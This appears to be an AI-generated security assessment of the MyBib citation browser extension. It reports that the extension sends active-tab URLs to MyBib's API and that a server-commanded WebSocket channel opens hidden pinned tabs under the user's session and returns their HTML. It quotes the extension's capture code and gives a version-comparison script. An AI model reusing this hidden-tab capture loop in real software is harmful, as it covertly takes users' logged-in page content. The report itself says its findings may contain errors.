Is MyBib: Free Citation Generator safe?

High risk

MyBib is high risk. We observed the MyBib popup send the active tab URL to mybib.com/api/autocite/url during citation generation. The body held the page URL and citation style; the captured Wikipedia case returned formatted citation JSON. MyBib keeps a WebSocket to wss://ws.mybib.com.…

MyBibv1.2.10Chrome Web Store
74Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Popup Sends Active Tab URL to MyBib Autocite API

We observed the MyBib popup send the active tab URL to mybib.com/api/autocite/url during citation generation.

The body held the page URL and citation style; the captured Wikipedia case returned formatted citation JSON.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You open the MyBib extension popup while a page is active.

The popup starts its citation-generation flow for the current browser tab.

The extension did this

The extension can post that page URL to MyBib's autocite URL endpoint.

Observed traffic included the active Wikipedia URL and the selected MLA citation style.

Fields observed in the autocite URL request
  • Active page URL
    https://en.wikipedia.org/wiki/Artificial_intelligence

    Shows MyBib exactly which page was active when the popup citation flow ran.

  • Citation style
    modern-language-association-8th-edition

    Adds context about how the citation should be formatted.

Captured request
POSThttps://www.mybib.com/api/autocite/url

200 OK; the server returned formatted citation JSON.

Body
{  "url": "https://en.wikipedia.org/wiki/Artificial_intelligence",  "styleId": "modern-language-association-8th-edition"}
The code that does this

Popup code that reads the active tab URL and posts it to MyBib

Readable version

Readable autocite client

assets/index.37290133.js
class V2 {  async autociteHtml(i, r, s) {    try {      return (await Pl({        url: mt + "/autocite/html",        method: "POST",        data: {          html: i,          url: r,          styleId: s        }      })).data.result    } catch {}  }  async autociteUrl(i, r) {    try {      return (await Pl({        url: mt + "/autocite/url",        method: "POST",        data: {          url: i,          styleId: r        }      })).data.result    } catch {}  }  async autocitePdf(i, r) {    try {      return await new Promise((n, e) => {        window.chrome.runtime.sendMessage({          action: "citePdf",          urlToApi: mt + "/autocite/pdf",          urlToPdf: i,          styleId: r        }, function(l) {          console.log(l), l && l.status === 200 ? n(l.data.result) : e(new Error("Page could not be reached."))        })      })    } catch (s) {      console.log(s)    }  }}const lt = new V2,

Readable popup citation flow

assets/index.37290133.js
    async doAutocite() {      this.isLoading = !0, this.isError = !1;      let a = "https://www.theguardian.com/technology/2014/jun/11/nominet-new-rules-uk-domain-end-privacy",        i;      if (window.browser.tabs && (a = await new Promise((s, n) => {          window.chrome.tabs.query({            active: !0,            currentWindow: !0          }, function(e) {            e.length > 0 ? s(e[0].url) : n(new Error("Couldn't access chrome.tabs."))          })        })), a.startsWith("chrome://")) {        this.errorMessage = "This is a Chrome settings page and can't be cited. Please try a page on the internet.", this.isError = !0, this.isLoading = !1;        return      }      if (a.startsWith("file://")) {        this.errorMessage = "Files on your computer cannot be autocited with the extension. Please goto MyBib.com to cite this file.", this.isError = !0, this.isLoading = !1;        return      }      let r;      try {        r = await Pl({          url: a,          method: "GET",          headers: {            Accept: "text/html,*/*"          }        })      } catch {}      if (r)        if (z2(a).toLowerCase() === ".pdf" || r.headers["content-type"] === "application/pdf" || r.data.startsWith("%PDF")) {          try {            i = await lt.autociteUrl(a, this.selectedStyle.id)          } catch {            this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;            return          }          if (!i) {            let s;            try {              s = await Pl({                url: a,                method: "GET",                responseType: "blob"              })            } catch {              this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;              return            }            try {              i = await lt.autocitePdf(a, this.selectedStyle.id)            } catch {              this.errorMessage = "We couldn't autocite this PDF, sorry!", this.isError = !0, this.isLoading = !1;              return            }          }        } else i = await lt.autociteHtml(r.data, a, this.selectedStyle.id);      else try {        i = await lt.autociteUrl(a, this.selectedStyle.id)      } catch {        this.errorMessage = "Chrome has blocked this page from being Autocited. Please try another page.", this.isError = !0, this.isLoading = !1;        return      }      if (i) {        try {          this.reference = await this.applyClientFormatting(i)        } catch {          this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0, this.isLoading = !1;          return        }        window.browser.storage && window.browser.storage.local.get("totalReferenceCount", s => {          let n;          s.totalReferenceCount ? n = parseInt(s.totalReferenceCount) + 1 : n = 1, window.browser.storage.local.set({            totalReferenceCount: n          })        }), this.bindTooltips()      } else this.errorMessage = "Oh snap! Something went wrong, please reload the page and try again.", this.isError = !0;      this.isLoading = !1    },
Network destination for the observed URL submission
    • www.mybib.com

    Receives the active tab URL and selected citation style at /api/autocite/url, then returns citation data.

C2 Background-Tab Page Capture: v1.2.6 Drops Cloudflare Guard

MyBib keeps a WebSocket to wss://ws.mybib.com.

On a useTab command it opens the named URL in a hidden pinned tab using your session, reads the HTML, and returns it. v1.2.6 rewrote the capture condition so any completed page now triggers it.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

MyBib's server sends a useTab command over the WebSocket naming a URL to open.

The extension holds an open connection to wss://ws.mybib.com and acts on whatever the server sends.

The extension did this

The extension opens that URL in a pinned background tab that is not surfaced to you, using your logged-in session, reads the full page HTML, and sends it back to the server.

The tab is created with active:false and pinned:true so it does not come to the foreground, then removed after the HTML is captured.

The code that does this

The capture trigger condition, what changed between v1.2.4 and v1.2.6.

Readable version

v1.2.4 logic

// v1.2.4: NOT_CF gates EVERYTHING.// A Cloudflare challenge page (which contains '<title>Just a moment...') is// always excluded, even at status='complete'.const NOT_CF = html.indexOf("<title>Just a moment...") === -1;const large  = html.length > 1e4;const done   = tabStatus === "complete";if (NOT_CF && (large || done)) {  // capture page HTML and send to C2}

v1.2.6 logic

// v1.2.6: the 'complete' branch escaped the Cloudflare gate.// Any page reaching status='complete' is captured, including a// Cloudflare challenge page, a small API response, or a 404.// The CF string also narrowed to 'Just a moment...' (no <title> wrapper).const NOT_CF = html.indexOf("Just a moment...") === -1;const large  = html.length > 1e4;const done   = tabStatus === "complete";if ((large && NOT_CF) || done) {  // capture page HTML and send to C2}
The code that does this

The C2 channel and background-tab capture loop, from the v1.2.6 shipping source.

Readable version
// Persistent C2 WebSocket; server drives the extension.const ws = new WebSocket(`wss://ws.mybib.com/?v=${version}`);ws.onmessage = async (msg) => {  const cmd = JSON.parse(msg.data);  if (!cmd.url) return;  if (cmd.useTab) {    // Open the server-named URL in a hidden, pinned tab using YOUR session.    chrome.tabs.create({ active: false, pinned: true, url: cmd.url }, (tab) => {      let done = false;      const poll = setInterval(async () => {        const status = (await chrome.tabs.get(tab.id)).status;        const html = await chrome.scripting.executeScript({          target: { tabId: tab.id }, injectImmediately: true,          func: () => document.documentElement.outerHTML        });        if (!done && /* v1.2.6 trigger condition */ ((html.length > 1e4 && !html.includes('Just a moment...')) || status === 'complete')) {          done = true; clearInterval(poll);          const code = await chrome.scripting.executeScript({            target: { tabId: tab.id }, injectImmediately: true,            func: () => performance.getEntriesByType('navigation')[0].responseStatus          });          ws.send(JSON.stringify({ id: cmd.id, response: { data: html, status: code } }));          await chrome.tabs.remove(tab.id); // clean up the hidden tab        }      }, 50);      setTimeout(() => { clearInterval(poll); chrome.tabs.remove(tab.id); }, 5000);    });  }};
Reproduce it yourself

Reimplements both versions of the capture trigger condition and runs them over seven page scenarios, printing a table of which cases changed behavior between v1.2.4 and v1.2.6. Two cases flip from no-capture to capture, both involving a Cloudflare challenge page at status='complete'.

Requires
  • Node.js 18+
mybib-condition-diff.js · js
// mybib-condition-diff.js// Compares the MyBib hidden-tab capture trigger condition across versions.// Run: node mybib-condition-diff.jsfunction triggerV124(html, tabStatus) {  // v1.2.4: NOT_CF AND (large OR complete)  const NOT_CF = html.indexOf('<title>Just a moment...') === -1;  const large  = html.length > 1e4;  const done   = tabStatus === 'complete';  return NOT_CF && (large || done);}function triggerV126(html, tabStatus) {  // v1.2.6: (large AND NOT_CF) OR complete  const NOT_CF = html.indexOf('Just a moment...') === -1; // no <title> wrapper  const large  = html.length > 1e4;  const done   = tabStatus === 'complete';  return (large && NOT_CF) || done;}const CF = '<html><head><title>Just a moment...</title></head><body>Checking your browser...</body></html>';const cases = [  ['CF challenge page, complete', CF, 'complete'],  ['CF challenge page, loading', CF, 'loading'],  ['Large CF page, loading', CF + 'A'.repeat(10002), 'loading'],  ['Large CF page, complete', CF + 'A'.repeat(10002), 'complete'],  ['Small non-CF page, complete', '<html><body>Hello world</body></html>', 'complete'],  ['Large non-CF page, loading', 'A'.repeat(10001), 'loading'],  ['Large non-CF page, complete', 'A'.repeat(10001), 'complete'],];let diffs = 0;console.log('Description'.padEnd(34) + ' | 1.2.4 | 1.2.6 | Changed');console.log('-'.repeat(64));for (const [desc, html, status] of cases) {  const a = triggerV124(html, status);  const b = triggerV126(html, status);  if (a !== b) diffs++;  console.log(desc.padEnd(34) + ' | ' + String(a).padEnd(5) + ' | ' + String(b).padEnd(5) + ' | ' + (a !== b ? 'YES' : 'no'));}console.log('\nCases changed: ' + diffs + ' / ' + cases.length);
How to run it
  1. 1Save as mybib-condition-diff.js.
  2. 2Run `node mybib-condition-diff.js`.
  3. 3Two rows print 'YES' under Changed, both Cloudflare-challenge pages at status='complete', which v1.2.4 excluded and v1.2.6 captures.
Hosts involved in the C2 channel
    • ws.mybib.com

    WebSocket C2 endpoint. Sends useTab commands naming URLs to open; receives the captured full page HTML and status code back. Owned by MyBib.

    • p.mybib.com

    Pre-connect latency probe queried before the WebSocket opens; a slow response defers the connection for 60 minutes. Owned by MyBib.

What is and isn't established

The C2 WebSocket, the background-tab capture loop, and the v1.2.6 condition change are present in the shipping source and confirmed by a deterministic proof-of-concept (2 of 7 scenarios flip behavior, both Cloudflare-challenge pages at completion). Whether any capture occurs is gated on the server sending a `useTab` command; this is a remote-config-dependent path, so an external observer cannot confirm from the code whether, when, or against which URLs the server exercises it. The capture runs in the background tab's own browsing context, so it operates with whatever session the browser already holds for the named URL.

What it can do

Permissions this extension asks for, as declared in version 1.2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.2.10, which we have not unpacked yet.

  • Read and change your data on every site you visit

    *://*/*

  • Write to your clipboard

    clipboardWrite

  • Store data in your browser

    storage

  • See the address and title of every tab you have open

    tabs

  • Run its own code inside the pages you visit

    scripting

  • Schedule its own background tasks

    alarms

Updated 30 September 2026phidhnmbkbkbkbknhldmpmnacgicphkf